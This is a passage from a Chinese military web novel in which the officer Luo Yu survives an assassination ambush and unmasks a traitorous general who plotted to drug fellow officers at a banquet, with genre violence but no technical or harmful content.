黑衣人脸色狰狞地提起弯刀:
“不管你知不知道,都该死了,还是死人最可靠。”
“这里可是云阳关!容不得你们放肆!”
萧少游的冷喝声响起:“当街对两位百户出手,太狂妄了吧?要是被我揪出幕后之人,你们想留个全尸都难!”
“呵呵,这种没意义的要挟就不要说了。”
黑衣人轻笑一声:
“萧百户是吧?此事与你无关,奉劝你不要多管闲事,你现在离去,我们可以饶你一命。”
看来这群人是有备而来,对两人的身份清清楚楚。
“你走吧。”
洛羽平静地说道:
“此事确实与你无关。”
洛羽很清楚,这伙人是冲自己来的,准确来说是冲着那封密信而来。
二十多号好手他们压根对付不了,何必白白搭上萧少游一条命?自己一个人说不定更好脱身一点。
“屁!你的事就是我的事,现在走了我不就成了没卵的怂蛋?”
萧少游面带讥讽,抽出长剑往前一指:
“让老子瞧瞧,你们这群杂碎有什么手段!”
洛羽心中微暖,这种局面萧少游愿意留下来,那就是要和自己走一趟鬼门关了。
“给脸不要脸,找死!”
黑衣人怒喝一声:
“全杀了!”
“上!”
随着首领一声令下,前后数十道黑影如鬼魅般扑了上来,锋芒毕露的刀锋瞬间将幽深的巷子映得寒光四射。
这群人不傻,进攻的同时依旧留人封住了街巷,把二人堵死在巷道中。
洛羽眼神一凛,破晓在掌心一转,身轻如燕,率先迎上了前方的敌人,叮嘱了一句:
“前面的人交给我,你自己小心!”
“小心?”
萧少游冷笑一声:
“你刀法好,我也不差!看看谁杀的人多!”
“铛!”
一声脆响,洛羽的短匕与一名刺客的弯刀狠狠相撞,火花四溅,震得敌人手臂发麻。洛羽借力一旋,短匕顺着刀锋笔直上滑,精准无比地割开了对方的咽喉。
黑衣人闷哼一声,捂着脖子倒地,鲜血喷涌而出,惊骇欲绝。
所谓的一寸长一寸强,在洛羽这完全不适用。
“好快的刀!”
周围的黑衣人面色微变,还未反应过来洛羽已经欺身而上,手中的匕首也换成了抢来的弯刀。
“这小子不对劲,一起上,杀了他!”
“当当当!”
洛羽依靠矫健的身形在人群中来回穿梭,弯刀飞舞,数不清的刀锋贴着他的前胸后背划过,惊险无比。
一左一右扑来的刺客甚至没看清楚他出刀的动作,就已经命丧当场。
萧少游同样不甘示弱,一柄长剑不断割破黑衣人的胸口,鲜血飞溅,论身手他也是军中翘楚。
两人时而分头迎敌,时而背靠背互为依靠,明明是第一次配合却默契无比。
可敌人实在太多,再加上街巷中空间狭小,很难转圜,两人压根没有逃跑的可能,隐隐有落入下风的趋势。
杀手的目标明显是洛羽,只分了少数人牵扯萧少游,剩下的将洛羽团团围住。
人影交错,激战不停,暗处却有一人鬼鬼祟祟地举起弓弩,暗暗瞄准洛羽的腹背。
“嗖!”
箭矢飚射而出,在黑夜中带出一丝杀意。
“小心!”
洛羽根本没注意到背后袭来的羽箭,但萧少游第一时间就发现了,奋不顾身地往前一扑:
“躲开!”
“嗤!”
萧少游横身一挡,箭头恰好没入他的左肩,鲜血飚射而出,剧痛让他倒吸了一口凉气。
“混蛋!”
洛羽厉声怒骂,反手一刀砍死了逼近身前的黑衣人,一把扶住萧少游:“没事吧!”
“没事,死不了。”
萧少游愤愤不平地骂道:
“竟然替你挡了一箭,亏到姥姥家去了!”
“算我欠你的!”
“杀出去再说!”
洛羽满脸冰寒,没有墨迹,持刀挡在萧少游身前,脚步前冲,笔直杀向领头的黑衣人。
一路刀锋横挥,气势如虹,即使肩膀被利刃划开两道伤口也浑然不惧,接连斩杀了好几人。
领头的黑衣人连接了洛羽三刀,被逼得连连后退,最后更是被一脚踹翻在地,猛地喷出一口鲜血。
洛羽像拎小鸡一样把他架在自己身前,当做人质,周围十几名黑衣人拎着刀将他们团团围住,踌躇不前。
“放开头!”
“该死的家伙!”
洛羽恍若未闻,当着所有人的面一点点割开他的咽喉,任由鲜血溅满衣袍。
如此血腥的场面他却连眼皮都没皱一下。
一人一刀挡在萧少游身前,目光冰寒,环视全场:
“不是要杀我吗?来啊!”
厉喝震住了刺客,一时间竟然无人敢上前,洛羽浑身都散发着一股戾气,独对十几人毫无惧意,连萧少游都被这股杀意惊到了。
“头,我来了!”
“妈的,谁敢动我羽哥,老子要把你们碎尸万段!”
就在场面陷入僵局之时,街巷口传来了蒙虎暴怒的骂声,火把嘈杂,似乎有不少人正在赶来。
“妈的,有人!”
“算你小子命大!兄弟们先撤!”
黑衣人也算识时务,心知不可为便立刻后撤,仅剩的十几人眨眼间就消失得无影无踪。
洛羽浑身气势一泄,疲惫不堪地往地上一趟:
“妈的,再不来老子真的栽了。”
第42章究竟是谁
漆黑的夜幕被火光尽数驱散,几十号军卒手持利刃,严密地搜索每一栋废弃的民房,但那些黑衣人明显是有备而来,并没有留下任何蛛丝马迹,甚至连撤退的脚印都被抹除了。
听闻消息的庞飞也带兵赶了过来,看到萧少游满手臂的鲜血气的破口大骂:
“妈的,到底是谁敢在云阳关内对您动手,若是被我找出来,定要将其大卸八块!”
“没错。”
蒙虎挥舞着壮硕的拳头:“那帮杂碎跑得挺快,不然指定被我扒掉一层皮。”
“行了行了,你们两别囔囔了。”
刚包扎完伤口的萧少游摆了摆手:“去,看看几具尸体,有没有面熟的。”
“没用的,他们走的时候都没带走尸体,笃定了你不认识。”
洛羽的肩膀处也绑起了绷带:
“人家有备而来,怎么可能留下把柄。”
果然,蒙虎和庞飞检查了所有尸体都没发现一张熟面孔,这群人就像是凭空从云阳关冒出来的一样。
“还真被你猜中了。”
萧少游依旧不死心,吩咐两人:“找人把这些家伙的脸画下来,去城中各营一一比对,看能不能顺藤摸瓜揪出同伙。”
“诺!”
“少操点心吧你。”洛羽递给萧少游一个水囊:“伤怎么样?”
“不碍事,运气好没伤到筋骨,休养一阵子就好了。”
萧少游大口大口地灌水,完全没把伤放在心上。
“为什么要替我挡这一箭。”洛羽默默问道:“箭头再偏一点,你命就没了。”
“哎啊,挡都挡了,现在还说这个干嘛,别搞得娘儿们唧唧,再给我一次机会老子肯定不挡!让你挨一箭看看疼不疼!”
别看萧少游骂骂咧咧,可洛羽心中却很触动,他在萧少游身上找到了一种战友、同袍的感觉,舍命一扑意味着萧少游打心底将他当成了朋友。
“倒是你小子,奇怪得很啊。”
萧少游眼神古怪,上下打量:
“明明是个入军没多久的新兵蛋子,就算杀过几个羌兵也不至于有如此浓郁的杀气啊?”
最后洛羽杀人的那一刀连他都被镇住了,倒不是说场面血腥,而是那一刻的洛羽像是杀过无数人,一股戾气连萧少游都觉得心慌。
他在战场上摸爬滚打好几年,很清楚那种气势是从尸山血海里爬出来才有的。
洛羽双手一摊:
“装的,不装的凶一点怎么唬住他们?”
近乎敷衍般的回答让萧少游连翻白眼,只好换了个话题:
“你觉得是谁派来的?这些家伙既然提到了瓦力格,那肯定是推测你手中拿到了投降密信,想要杀人灭口。”
“不好说。”
洛羽思索道:
“我在黑沟寨打了胜仗杀了一个百户,这是摆在明面上的事,谁都知道。但是几十号从未露面的杀手可不是谁都能拿出来的,必是位高权重之人。
如果非要说怀疑对象,那李承啸的嫌疑肯定最大。”
洛羽到现在都记得那天李承啸无意中提到瓦力格,这种不着痕迹的试探在他看来十分可疑。
“罢了,先不想了。”
总算恢复些体力的洛羽站起身喊道:
“蒙虎,去萧百户口袋里翻一两银子出来。”
“干嘛?”
“你不是说要请我喝羊汤的吗?怎么,说话不算话了?”
洛羽一瞪眼,大手一挥:
“蒙虎,掏他一两银子,今天萧百户请客,兄弟们都喝碗羊汤!”
……
“混账!云阳关到底还有没有王法!竟敢派人当街刺杀军中百户,甚至出动了几十名杀手,这些狂悖之徒,简直无法无天!”
第二天一早,听闻消息的孔贤就匆匆赶到了军营,两人身上裹着的纱布绷带让他怒气冲冲:
“你二人无事也算是不幸中的万幸了,妈的,若是被本将军揪出这伙贼人,定要将其碎尸万段!”
“多谢将军关怀,都是小伤,无碍。”
洛羽其实还好,被不轻不重地划了一刀,当初执行任务的时候不知道受过多少伤,这点小伤对他来说无关痛痒。
查看了一下两人的伤势,孔贤这才屏退左右,压低着声音问道:
“动手之人的身份有线索吗?”
萧少游轻声回禀:“属下已经派人将死者的画像临摹了下来,但都是生面孔,恐怕查不出什么。”
“查不出也要查!”
孔贤一拍桌子:
“就算是将云阳关掘地三尺也要把他们找出来,待会儿你们将画像交给我,本将军派兵全城搜捕,总归能发现点蛛丝马迹。”
“诺!”
二人点头应喝,但洛羽并不抱太大希望。
“咳咳。”
洛羽上前一步低声道:“将军,刺客在动手之前提到了羌兵百户瓦力格。”
“噢?提到他了?”
孔贤眉头微挑:“看来是幕后的通敌之人有所猜测,想要杀你灭口。哼,奸贼!
不过你们放心,我已经派人在暗中监视四面城门了,就算他真想打开城门放羌兵入城也难如登天!
只要云阳关无恙,咱们有的是时间收拾叛徒!”
“如此甚好。”
“行,你们先休息吧,好好将养身体,你们可是本将军的得力干将,万不可出什么闪失。”
“谢将军!”
孔贤与萧少游先后离去,洛羽这才坐下来缓了口气,眉头紧凝,思考整件事的来龙去脉。
自己杀了瓦力格满城皆知,但只有幕后通敌之人才知道这封密信的存在,所以为了藏住秘密他派人杀人灭口,这一切都很合理。
可谁才是幕后的叛徒呢?
最敌视自己的李承啸?默默无闻、不声不响的君家君毅?又或者是某个稍微低级的军官?
头大,越想越头大。
“你在干嘛?伤没事吧?”
正头疼着,沈漓的脑袋突然探了进来,脸上写着一丝忧虑与担心。
“没事,皮肉伤。”
洛羽抬起头来:“你怎么来了,不是应该在酿酒吗?”
今天一早韩朔就派人把二十匹战马送了过来,洛羽可还欠着人家二十坛好酒呢,这笔账不还完,弄不好战马还得被要回去。
“酒在酿着呢,你就放心吧。”
沈漓轻轻说道:
“帐外有位老人,还抱着个孩子,像是来找你的,已经在寒风中等了一个时辰。”
“啊?快请进来!”
洛羽心中疑惑,肯定是卖羊汤的李家爷孙,可他们来找自己做什么?
第43章大哥哥你没事吧
“大哥哥你没事吧!”
“爷爷说有坏人伤了你,阳儿来看你了。”
阳儿一进军帐就慌慌张张地扑到洛羽身边,左看右看,眼神中满是担忧:
“大哥哥帮我们打退羌贼,保护街坊邻居,张大娘她们都说你是好人,为什么还有坏人要伤你?那些人真的太坏了,大哥哥你没事吧?”
“没事,放心吧。”
“哪里没事,你看这里都出血了!是不是很疼?”
阳儿的眼眶红通通的,因为他看到了包扎在伤口处的纱布,隐隐还有血丝渗出。
“哥哥是大人了,不怕疼的,真的没事。”
稚嫩的嗓音竟然让洛羽心头酥软,赶忙将小孩子搂进怀中揉了揉脑袋。
阳儿将信将疑,随即掏出了洛羽给他做的木刀,虎虎生风地舞了两下:“谁再敢伤害哥哥,阳儿就帮你打跑他,爷爷说我也是大人了!”
老李头拎着一只木盒,面带歉意:
“知道百户大人军务繁忙,本不该来打搅您,可这娃娃一听说您受了伤便急得团团转,吵着闹着要来看您一眼,老头子拗不过,只好带他来了。”
“没事。”
洛羽伸手揪了揪小脸:“外面西北风冷得很,等了一个时辰,冻坏了吧?”
孩子的脸颊被冻得红扑扑的,鼻涕都出来了。
“阳儿不冷,再冷也要来看大哥哥!”
“哎啊!”
阳儿突然蹦了起来,小步跑到爷爷身边:
“我还给你带了羊汤,爷爷说可以补气血,大哥哥受了伤肯定要多喝羊汤!”
阳儿从木盒子里捧出一碗羊汤,小心翼翼递给洛羽,面带愧疚:
“等太久了,都冷了,要不我和爷爷回去重新盛一碗吧。”
“没事,只要是阳儿拿来的,我都喝。”
洛羽将羊汤一饮而尽,里面竟然还放了好些羊肉,心中甚是感动。
他每次说是和萧少游去吃羊肉泡馍,实际上都是单纯的羊汤,并没有肉,老李头每天用来炖汤的羊肉本就不多,毕竟寻常士卒可吃不起羊肉,能有点羊肉味的汤解解馋已经十分满足了。可今天碗里却放了这么多肉,这些肉对一个普通摊贩来说可是不小的成本。
洛羽陪着阳儿玩了好一会儿,老李头才拉着恋恋不舍的孙儿走了,临走前阳儿还奋力地挥着手臂:
“大哥哥,阳儿过两天还来看你!”
“好!”
洛羽笑了,笑得很开心。
从军入伍这么久,遇到的人大部分都是钩心斗角、尔虞我诈,谁是敌人谁是朋友他完全分不清楚,甚至是萧少游都给自己下过套。
但是阳儿没有,纯真的娃娃就是简单把自己当成一个大哥哥,想和自己亲近,这种温情是他很珍惜。
“原来你也会笑的。”
沈漓在背后嘀嘀咕咕:“我还以为你永远板着张冰山脸呢。”
“要你管!”
洛羽狠狠瞪了她一眼:
“酿酒去!”
……
“驾!”
“哒哒哒!”
“杀!”
校场上有几十号骑兵纵马驰骋,人手一杆长枪,场中早已立起了无数的稻草人,骑兵们往来砍杀,操练骑战之术。
算上从韩朔那换来的二十匹战马,洛羽手中已经有五十匹战马了,在城中这么多百户里算是家底丰厚的了。原本手下一百三十号兄弟就在每天操练骑术,现在洛羽选出了五十名最健壮的汉子成为骑兵,加练骑战之术。
上午练习步卒三三制战法,下午苦练骑术、骑枪、骑战,这半个多月他们被洛羽折腾得不轻。
十名军卒高坐马背,轻提长枪,列成一线,校场中央早就为他们准备好了十具绑着沙袋的稻草人。
洛羽冷声喝道:
“小股骑兵交战,三三制同样适用,但如果是大队骑兵交锋,那阵型至关重要。散漫冲锋的骑兵面对整齐划一的锋线必败无疑,在战场上像愣头青一样不顾同袍战友往前冲只会死路一条,所以今天开始你们就要磨炼大队骑兵的配合。
看到了吗,前方有十具稻草人,现在你们就将它们想象成羌贼,务必一击即中。
但给我记住,不是让你们一枪捅穿稻草人,而是要十个人齐头并进,同时一枪命中敌人,只有这样才能在战场上杀穿敌人的锋线。
都听明白了吗!”
“明白!”
众人齐喝一声,排头处的十名骑兵面色凝重了许多。
经过这么多天的操练,他们的骑术已经堪堪够用,但想要十个人默契配合,难度还是有的。
“驾!”
随着洛羽一声令下,十名汉子同时扯动缰绳,马蹄前踏,汹汹向前。每一个人都用眼角的余光瞄着同袍,确保战马的速度大概一致。
可战马的脚力不同、每个人的体重也不同,骑术的熟练程度也不同,怎么可能确保战马齐头并进?董川、蒙虎、吕青云、小伍每个人都在努力地控制速度,勉勉强强排成一条歪歪扭扭的锋线。
眼瞅着稻草人近在眼前,十人同时蓄力、出枪,怒喝一声:
“杀!”
“嗤嗤嗤!”
十具稻草人接二连三地倒下,虽然不能算完全整齐,但也还行。
蒙虎喜出望外,兴奋地看向洛羽:
“头,咋样,是不是不错!”
“不错个屁!”
没等来夸奖,等到的却是洛羽的骂声:
“就你们这样子,上了战场只能等死!今天是第一次,还可以原谅,练到明天还是这般模样,你们就别想吃饭了!
再给我接着练!一个个的净想屁吃!”
在阵阵骂声中,所有人重新提枪上马,开始了新一轮的魔鬼训练。
站在一旁的萧少游终于开口了:
“你的骑兵已经颇具章法,二十天能有这种效果已经很不容易了,这么骂有点没良心了吧?”
“良心,良心有什么用?”
洛羽冷着脸说道:“上了战场,有良心能让羌兵手下留情吗?不能,只会害了他们!现在对他们狠一点,上了战场就多一点保命的手段。”
“你够狠。”
萧少游竖起了大拇指:“你的训练方法是行家,我一直以为你只是脑子好、身手强,没想到还懂骑战之术,真是让我意外。”
“我的强,超乎你想象。”
洛羽一点也不谦虚,接着说道:“揪不出来叛徒,我的心里很不安,万一云阳关真的被攻破,我不想这帮兄弟白白死在羌兵的马刀之下。”
“距离新年之夜只剩十天了。”
萧少游眉头紧皱:“到现在城中一点动静都没有,羌兵也完全没有攻城的打算,你真的认为这个叛徒会自己跳出来?”
“没错。”
洛羽十分肯定地点了点头:“只要他想在开城门之前掌握城内大部分兵权,就必须想个法子解决城内其他将军。
耐心等着便是。”
“头,头!”
庞飞突然一路小跑过来:
“请柬,君将军派人送来了请柬。”
“请柬?大敌当前还有请客?”
萧少游皱起了眉头,拆开请柬扫了两眼,眼神一点寒了下来:
“有意思啊。”
“怎么了?”
“君将军的小妾给他生了个儿子,五天后要在醉仙楼宴请全城军官,包括你和我。”
“噢?”
洛羽的眼神瞬间一凝:
“难道是他?”
第44章大宴宾客
五天一晃而过,对城中军卒来说这只是再平淡不过的五天,羌兵依旧没有攻城,但对洛羽来说这几天十分煎熬,因为他有一种预感,叛徒会在今夜浮出水面。
夜幕缓缓降临,城内灯火最闪耀的无疑是最大的酒楼:
醉仙楼。
大厅里摆下了不少八仙桌,一盘盘美味佳肴正在被摆上桌,其实君毅请的人并不多,只有军中都尉以上的军官以及三位主将的心腹,但君毅的手笔就是大,直接把整座酒楼包了下来。
战乱之际还能有这么大笔生意,乐得酒楼掌柜合不拢嘴,再加上客人身份尊贵,自然拿出了最高的接待规格,确保将这群军头们伺候舒服。
大厅中笑声不断,众人互相打着招呼,虽然分属三方势力,但表面上还是要维持客套的。
洛羽在角落里冷眼旁观:
“真是有趣啊,外面四千羌兵压境,随时叩关攻城,这里却在大宴宾客,浑然感受不到战事迫在眉睫的紧张。”
“习惯就好,我大乾边军本就是这般模样。”
萧少游无所谓:“君将军的小妾并不在云阳关,而是住在内地家中,消息是君家人快马加鞭送过来的。
君将军今年四十了,一直盼着能有个儿子,今日终于得偿所愿,开心也是人之常情。”
“是吗?”
洛羽嘴角微翘:
“是不是真的为儿子庆生还是另有所图,此事还说不好呢。”
“肯定有诈。”
萧少游冷笑道:
“你没发现吗,今日来赴宴的军官全都没有带卫兵,万一真出点什么事那可就热闹了。”
“发现了,所以咱们得盯紧点。”
洛羽好奇道:“另外我还有个疑问,你没发现来赴宴的都是都尉以上军官吗,咱们两个百户怎么也能收到请柬?”
“咦,你们两怎么来了。”
萧少游还没来得及解释,孔贤、李承啸还有今日的主角君毅就同时走了过来,李承啸瞄了一眼洛羽,微微不悦:
“君将军,你今日请的不是都尉以上军官吗,他们两只不过是个百户,怎么也来了?是不是有点自降身价?”
洛羽眉头微皱,自从拒绝了这家伙的拉拢之后就没给过自己好脸色。
“哎,这两位可不一样。”
君毅满脸笑容:
“城中几十位百夫长,就属他们俩最年轻,立下的战功也最多,本将军一向喜欢年轻俊杰,自然要请过来一起喝酒。”
“君将军有赏识之心,可人家未必领情啊。”
李承啸冷嘲热讽:
“人家死心塌地地跟着孔将军,可瞧不上你君家。”
“李将军,赴宴就是赴宴,没必要说这些有得没得。”
孔贤很不爽,这个李承啸,竟然把矛头对准到自己身上了。
洛羽微微躬身:
“李将军这话就不对了,孔将军也好、君将军也罢,咱们都是为朝廷效命,何分你我?”
“哼,倒是牙尖嘴利得很。”
李承啸冷哼一声,拂袖而去,君毅则笑呵呵地说道:
“行了,今日是本将军大喜的日子,不愉快的话就不要说了,本将军待会儿要和你们好好喝两杯,年轻人的酒量总不至于比我还差吧?”
“谢君将军赏识!”
君毅也走了,孔贤最后才站在二人身边,低声道:
“此前你一直说那个叛徒会找个机会将全城的领兵将军都集中起来,今日厅中宾客可都是高级军官啊。
叛徒会不会是他?”
孔贤口中的他自然是指君毅了,毕竟是他君家把众人请了过来。
“或许是他吧。”
洛羽到现在还拿不住到底是谁,只能低声道:
“反正咱们就按照昨天约定的计划行事,千万小心。”
这五天洛羽、萧少游可没闲着,找了孔贤好几次商量此事,也算商量出一个万全之策。
“行,就按你们的计划办。”
孔贤叮嘱道:“事关云阳关的安危,一定不能出任何纰漏!”
“明白!”
一众宾客依次落座,洛羽则找了个机会对萧少游说:
“我去到处转转,这里你盯着。”
“去吧,有我在你就放心吧。”
洛羽趁着众人不注意溜出了大厅,顺着酒楼内的连廊七拐八绕,一直摸到后厨的位置。君毅让醉仙楼把拿手的好菜全都上个遍,几名厨子忙得脚不离地,边上还有几名婢女在伺候着,随时准备上菜。
一个管家模样的老头眼尖,瞅见洛羽赶忙迎了上来:
“这不是洛百户吗,久仰大名啊。您怎么到后厨来了,前厅已经开席了啊。”
最近洛羽在城中颇有名声,再加上孔贤赏识,区区一个小管家哪里敢怠慢洛羽,一脸谄媚的笑容。
“孔将军派我来看看。”
洛羽装模作样地拎起一块肉:“这些食材,新鲜吗?今天三位将军可都在,万一你们滥竽充数,后果自己心里明白。”
“您就放心吧,猪牛羊都是今天刚宰的,绝对新鲜,做的都是咱店里拿手好菜,几位将军的口味咱们都清楚,绝对出不了差错。”
“嗯,不错,有眼力。”
洛羽边走边问,一直在查看各种食材。
如果是他要设局解决城中领兵武将,那最好最省力的办法就是在酒菜中下毒,直接将所有人毒死,没了主将,底下的士兵们只能乖乖听话,此事自然能成。
但问了一圈也没发现什么问题,那个老管家甚至当着洛羽的面尝了几口菜,屁事没有。
“酒呢,怎么没看见?”
“呵呵,是这样的,现在厅中喝的是咱店里的酒,但君将军自己备了好酒,还没上,放在后院的偏房里,等时辰到了会有人送过去。”
“原来是这样,知道了,你们忙吧。”
洛羽面不改色地走了,实则内心的疑惑越来越深,请客吃饭还要自备酒水,可以!
他再度兜兜转转找到了放酒的偏房,隔着老远就看见有一道黑影鬼鬼祟祟地溜了过去。洛羽眉头微皱,没有出面,而是藏在了角落里暗中观望。
一名中年男子叫出了看守酒水的小二,低声问道:
“怎么样?”
“酒都在里面,待会儿就拿出去!”
“很好。”
中年男子四处张望,确定无人之后从怀中掏出个什么物件塞了过去:“记住,待会儿把这个全都放到酒坛子里,不要被任何人发现。
此事办成,必有重赏!”
“小的记住了!”
中年男子来也匆匆、去也匆匆,借助微弱的火光洛羽认出了那个人,目光瞬间冰冷:
“原来是你!”
第45章叛徒
“来来来!”
“喝!”
“祝君将军喜得贵子!”
宴席上觥筹交错,笑声不断,君毅一杯接着一杯地喝着,孔贤与李承啸二人也在一旁相陪,偶尔说些不痛不痒的荤话。
洛羽不知何时溜了回来,萧少游瞄了他一眼:
“搞定了?”
“放心。”洛羽的嘴角勾起一抹冷笑:
“待会儿就有好戏看。”
酒过三巡,君毅突然大咧咧地站起身,像是有话要说,厅中顿时安静下来。
“诸位同袍,你们也知道云阳关外西羌重兵压境,我等身为领军之将本不该如此铺张、大操大办。但本将盼这个儿子盼了十几年,实在是开心,所以才在征得孔将军、李将军的同意之后请你们来醉仙楼共饮。
为此我特地准备了家中带来的好酒,精酿五年所得,味道甚是甜美,今日请大家一起尝尝!”
“好!”
“咱们也尝尝君将军的好酒!”
“哈哈哈!”
“上酒!”
随着君毅大手一挥,早就候在厅外的婢女们缓入席间,每人拎着一壶酒,给在场所有人统统斟满,酒香四溢。
都是喝过不少老酒的兵痞,一闻这个味道就知道此酒乃是上品,比醉仙楼的酒要好上太多,一个个眼光发亮。
“我也说几句。”
名义上的云阳关主将孔贤持杯起身:
“首先,让我们祝贺君将军喜得贵子,听说君将军府上好几位小妾,接下来再多生他几个儿子,指不定日后边关还能多几位小将军。
不过嘛,就得看君将军有没有这个本事了。”
“哈哈哈!”
厅中一阵哄笑,君毅自己都乐得合不拢嘴。
“还有一句话,刚刚君将军也说了,眼下敌军压境,等喝完这顿酒,咱们全城将士务必齐心协力、奋力杀敌、共抗羌贼,保我大乾边关无忧!”
“诺!”
“共饮此杯!”
“干!”
众人极为豪爽,一饮而尽,个个夸赞君家的酒好,赞美奉承之声不断,君毅笑得越发开心,这可是他花了血本从家族中带出来的,岂是寻常货色?
人群中只有韩朔摇了摇头,回头看向了洛羽:
“唉,自从喝了你的酒之后其他酒都喝不进去了,此酒比你家祖传之法酿出来的酒差太多。”
“多谢都尉夸奖!”
“我这不是在夸你。”韩朔瞪了他一眼:“我是在提醒你还欠我的二十坛酒什么时候能给我,之前给我的两坛都快喝完了。”
“唉啊,都尉大人,此酒酿起来极为耗费时间,再等等,属下难不成还敢跟您耍赖?”
洛羽打着哈哈应付过去,自己做的蒸酒锅酿上一天一夜也就能出一坛多的酒,二十坛酒哪有那么快酿好。
“行吧,你小子休想跟我耍花样,不然我扒了你的皮!”
别看韩朔凶神恶煞的,洛羽浑然不在意,因为高坐主位的李承啸也站了起来,正打算开口说话。
“诸位同袍。”
李承啸朗声道:“四千羌兵压境,战力强悍,城内守军兵力又不足,若是真打起来只怕云阳关守不住几天。今日借着这个机会我想问问孔将军,有何退敌良策。”
孔贤眉宇微皱,有些不悦:
“今日乃是君将军大喜的日子,你突然说这些不合适吧?再说了,云阳关城高墙坚,守上数月不成问题,何必长他人志气,灭自己威风?
局面还没你说的那么凶险。”
“是吗?羌兵没有攻城城中就已经人心惶惶,我看他们一直在打造攻城器械,真等他们攻城再想退敌之策来得及吗?
到时候战端一开,在场诸位只怕会统统死在战场上。”
刚刚还笑声不断的大厅迅速安静下来,他们感觉气氛开始不对劲了。
李承啸微微一笑:
“孔将军若是没有退敌之策,末将倒是有个主意。”
“说来听听。”
“倒不如我们开城献降,投靠羌人,这样一可以避免死在羌人的马蹄之下,二来也可以给兄弟们换一生的荣华富贵。”
此话一出,全场鸦雀无声,很多将校都瞪大了眼眸,几乎不敢相信自己的耳朵。
萧少游的目光瞬间冰冷:
“还真是这个家伙!该死的叛徒!”
“李承啸,你究竟是何意?”
孔贤厉声喝道:“难道你要当叛国通敌的反贼!你可是陇西边民,难道不知道羌兵一旦入关,陇西三州就将生灵涂炭吗!
我看你是活腻歪了!”
“孔贤!”
李承啸冷着脸喝道:
“休要在这跟我讲大道理,正是因为我出自边关才深知羌人的可怕,凭我们这点兵力根本不是他们的对手!
近年来云阳关两次被羌兵攻破,满城守军都被屠杀得干干净净,难道你们不想活下去!”
“放肆!”
孔贤拍案而起,厉喝一声:
“来人,给我拿下!”
“蹭蹭蹭!”
孔贤带来的卫兵一个也没出现,反而是李承啸麾下的七八名亲信同时拔刀,恶狠狠地站住大厅四角,谁敢有异动当场便会挨大刀片子。
明明在入厅之前大家都交出了武器,李家的人为何有刀?看来李承啸是蓄谋已久!
场面瞬间剑拔弩张。
“别折腾了孔将军,还有在座的诸位。”
李承啸漫不经心地抿了口酒:
“你们的人刚进醉仙楼就被药翻了,此刻谁也救不了你们。”
“李承啸,你真是疯了!”
君毅怒喝道:“难道你还敢绑了我们这么多人?别忘了,我和孔将军手下还有数千将士,就凭你李承啸手下的兵马怕是拦不住他们吧?”
“呵呵,若是怕,我就不会动手了。”
李承啸满脸笑意:“我早就与羌兵约定好了会开城献降,四千羌骑一旦入城,难道我还担心你们两手底下的兵马?
另外,你们刚刚喝的酒已经被我下了蒙汗药,马上你们就会晕得不省人事,还怎么和我斗?”
“李承啸,你个叛国之贼!混账!”
孔贤破口大骂,其他人则一脸的绝望。
万万没想到李承啸竟然如此歹毒,投敌也就算了,还要将他们全都杀了。
“李承啸,你也太恶毒了吧。”
洛羽冷声喝道:“当叛徒,就不怕被老百姓戳着脊梁骨骂吗!”
“混账东西,这里哪有你说话的份!待会儿我就要把你大卸八块,以泄心头之愤!”
李承啸的笑容越发猖狂:
“现在你们想要活下去只有一种可能,那就是乖乖臣服于我,本将军若是开心说不定还能饶你们一命。
否则我再数三个数,你们就该晕厥倒地了。”
众人面色抖变,难道想要活下去只能跟这个叛徒狼狈为奸?
“一。”
“二。”
“三!”
“砰砰砰!”
三声落罢,真的有几名壮硕的汉子一头栽倒在地。
可倒地的不是孔贤也不是君毅,而是李承啸的亲信麾下。
“这,这是怎么回事?”
李承啸瞬间傻眼了,不应该啊。
“李将军的蒙汗药不错啊,说三个数还真倒下了。”
洛羽缓缓起身,微微一笑:
“现在你还觉得能杀了我们吗?”
第46章悬尸城门
大厅中的气氛很是诡异,绝大部分人都不明就里,现在到底是什么个情况?
该倒的没倒,不该倒的全倒了。
李承啸的表情从愕然到惊讶,再到愤怒,死死盯着洛羽:
“是你搞的鬼!”
“我看你才是那个鬼吧?”
洛羽冷笑一声,缓缓走出人群:
“前次黑沟寨一战,我在羌兵百户瓦力格的身上搜出一封通敌投降的密信,写信之人与羌兵约定,会在新年之夜开城献降,并会趁机解决城中其他领兵武将。
返回云阳关之后我就一直在找这个叛徒,这么多天都没查出个眉目。
李将军,你藏得很深啊。”
“妈的,果然被你小子发现了。”
李承啸气得脸色铁青:“可你为什么会怀疑到我的头上,那封信并不是我亲笔写的,云阳关那么多将军,你不该怀疑是我。”
他想不通,明明自己掩饰得很好,怎么就被洛羽看出来了。
“不不不,我从未确定是谁,只是对你有所怀疑罢了。”
洛羽不紧不慢地解释道:
“当初你来拉拢我,闲聊中无意提到过瓦力格的名字,那也是我怀疑的最开始,但光凭这一句话远远不够。
然后我就在想,通敌之人如果想在叛变之前掌握全城兵权,就一定会想办法聚集全城将校,一网打尽。
要做这件事就需要一个契机,一个合适的场景,比如像今天这样将所有人都召集到一起。
当我接到请柬的那一刻,我怀疑了君将军。”
一旁的君毅愕然,合着自己请客吃饭还被洛羽当成了通敌的反贼?
洛羽接着说道:
“今天是宴席,大家的防备心是最低的。若真想杀人灭口,最好的方法就是在酒菜中下药,直接将所有人毒死。所以刚刚趁着你们喝酒的功夫我去了一趟后厨,想看看今日的酒菜有无问题。
我看了一圈也没发信啊什么异常,但好巧不巧,被我撞见了你的副将,看到他的那一刻我就知道,叛徒是你!
他收买了醉仙楼的伙计,想要用蒙汗药迷晕我们。
至于为什么你的人都倒了,那就很简单了。我拿刀指着伙计的人头,逼他将蒙汗药倒进了给李家的酒水里。
你以为我们喝下去的是毒酒,实际上真正的毒酒都在你手下的杯子里!
为了骗你说出实情,我才没给你下毒。”
真相终于大白,李承啸就是那个叛徒!大家四处张望,寻找着副将的身影,那家伙正倒在地上不省人事,只怕他自己也没料到被迷晕的会是自己。
“是你,原来是你坏了我的好事!”
李承啸怒目圆睁:“早知道当初就该杀了你,不给你活命的机会!”
“好了,李承啸,该陪你演的戏也演完了。”
孔贤冷笑道:
“束手就擒吧!不要做无谓的挣扎。”
“束手就擒?我呸!”
李承啸的目光无比歹毒:
“谁说我输了?为了以防万一,我早就在醉仙楼里藏下了五十号精锐,你们一个都跑不了!”
众人又是一慌,没想到李承啸准备毒酒也就算了,竟然还提前埋伏了死士,看来为了今天他准备万全。
“啪!”
李承啸猛地一摔酒杯,四分五裂,怒吼道:
“来人,给我杀了他们!”
“小子,我说过,待会儿会将你大卸八块!”
李承啸在心中已经想好了十八种弄死洛羽的方法,莫名地感到一股舒畅,的亏自己聪明啊,留了后手。
